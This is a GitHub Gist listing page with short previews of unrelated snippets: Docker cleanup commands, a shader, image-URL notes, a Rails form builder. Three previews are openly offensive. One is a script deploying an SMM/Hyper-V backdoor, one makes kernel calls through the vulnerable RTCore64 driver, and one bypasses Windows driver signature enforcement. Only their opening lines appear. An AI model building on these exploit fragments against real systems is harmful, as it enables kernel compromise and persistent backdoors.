Skip to content

Instantly share code, notes, and snippets.

1 - Container & Image Prune

docker rm -vf $(docker ps -aq)

docker rmi -f $(docker images -aq)

2 - Clean Docker Volume

@Cr4sh
Cr4sh / smm_backdoor_hyper_v.py
Created June 16, 2021 19:37
Example program that uses SMM backdoor to deploy Hyper-V backdoor (see https://github.com/Cr4sh/s6_pcie_microblaze/tree/master/python/payloads/DmaBackdoorHv)
#!/usr/bin/env python
import sys, os, time, platform, ctypes
from struct import pack, unpack
from optparse import OptionParser, make_option
import smm_backdoor as bd
# how many seconds to wait for VM exit occur
VM_EXIT_WAIT = 3
@joswr1ght
joswr1ght / Copy-RemoteWindowsEventLogs.ps1
Last active May 22, 2024 00:08
PowerShell script to copy event logs from one or more remote systems to the local file system
# https://chat.openai.com/share/6d96527b-288d-45a9-8eb4-e8b43d52486a
# Input parameters
param (
[Parameter(Mandatory=$true)]
[string]$inputFile,
[Parameter(Mandatory=$true)]
[System.Management.Automation.PSCredential]$Credential
)
@SkyN9ne
SkyN9ne / kforge.cpp
Created May 22, 2024 00:08 — forked from Cr4sh/kforge.cpp
Performing arbitrary kernel function calls on HVCI enabled systems with thread context hijacking
#include "stdafx.h"
// vulnerable driver device name
#define EXPL_DEVICE_PATH "\\\\.\\Global\\RTCore64"
// vulnerable driver service and file name
#define EXPL_DRIVER_NAME "RTCore64.sys"
#define EXPL_SERVICE_NAME "RTCore64"
// vulnerable driver IOCTL codes
@Cr4sh
Cr4sh / kforge.cpp
Created May 15, 2021 03:22
Performing arbitrary kernel function calls on HVCI enabled systems with thread context hijacking
#include "stdafx.h"
// vulnerable driver device name
#define EXPL_DEVICE_PATH "\\\\.\\Global\\RTCore64"
// vulnerable driver service and file name
#define EXPL_DRIVER_NAME "RTCore64.sys"
#define EXPL_SERVICE_NAME "RTCore64"
// vulnerable driver IOCTL codes
@realvjy
realvjy / ChoasLinesShader.metal
Last active May 22, 2024 00:07
Choas Lines - Metal Shader
// Lines
float hash( float n ) {
return fract(sin(n)*753.5453123);
}
// Slight modification of iq's noise function.
float noise(vector_float2 x )
{
vector_float2 p = floor(x);
vector_float2 f = fract(x);
@SkyN9ne
SkyN9ne / main.c
Created May 22, 2024 00:03 — forked from maldiohead/main.c
NtLoadEnclaveData Windows 10 RS3 DSE bypass
#include "global.h"
HINSTANCE g_hInstance;
HANDLE g_ConOut = NULL;
BOOL g_ConsoleOutput = FALSE;
WCHAR g_BE = 0xFEFF;
RTL_OSVERSIONINFOW g_osv;
#define CI_DLL "ci.dll"
@maldiohead
maldiohead / main.c
Created July 20, 2017 08:05 — forked from hfiref0x/main.c
NtLoadEnclaveData Windows 10 RS3 DSE bypass
#include "global.h"
HINSTANCE g_hInstance;
HANDLE g_ConOut = NULL;
BOOL g_ConsoleOutput = FALSE;
WCHAR g_BE = 0xFEFF;
RTL_OSVERSIONINFOW g_osv;
#define CI_DLL "ci.dll"
@Sauerstoffdioxid
Sauerstoffdioxid / googleurlparams.md
Last active May 22, 2024 00:01
Google/Blogger Image URL Parameters

Google/Blogger Image URL Parameters

This is an effort to document what is known about Google's (Blogger's/Blogspot's) image URL parameters. Some of these options were taken from existing first or third party documentation (see the links at the end of this document), but the majority is based off my own investigations.

Where to use them?

  • On Blogger's image URL's: 2.bp.blogspot.com/-OF7u67HQE1M/VHc8S8qJTDI/AAAAAAAACxI/UD-11c63diQ/s1600/005.png
  • On just about any googleusercontent image URL: https://lh3.googleusercontent.com/Jvmz11cLrvNIHG_LWjVO9B-UV2IN4Cfk1pycbhWZl6IriMgCAGCOFuBRtoHaiZ6xeVGqCugZcCql=w176-h176-n-o

Replace the bolded parts with the parameters.

@borama
borama / tailwind_form_builder.rb
Last active May 22, 2024 00:00
Tailwind-styled Simple Form builder example - see https://dev.to/nejremeslnici/styling-simple-form-forms-with-tailwind-4pel for all details
# This is a thin wrapper of the Simple Form builder. It delegates rendering the resulting form fields to Simple Form
# but typically amends the Tailwind classes of the various elements in the field layout. It tightly integrates with the
# unstyled wrapper (aka `:plain`) Simple Form configuration (see `simple_form.rb`). The methods support the same syntax
# as the original Simple Form methods but enhance it to support replacing defaylt Tailwind claseses.
class Builders::TailwindFormBuilder < SimpleForm::FormBuilder
# This is the basic method for rendering `<input>` tags and their variants.
def input(attribute_name, options = {}, &block)
# The default Tailwind classes for the various parts of the Simple Form wrapper layout.
input_class = "block w-full sm:text-sm ... #{'text-gray-500 bg-gray-50' if options.dig(:input_html, :disabled)}"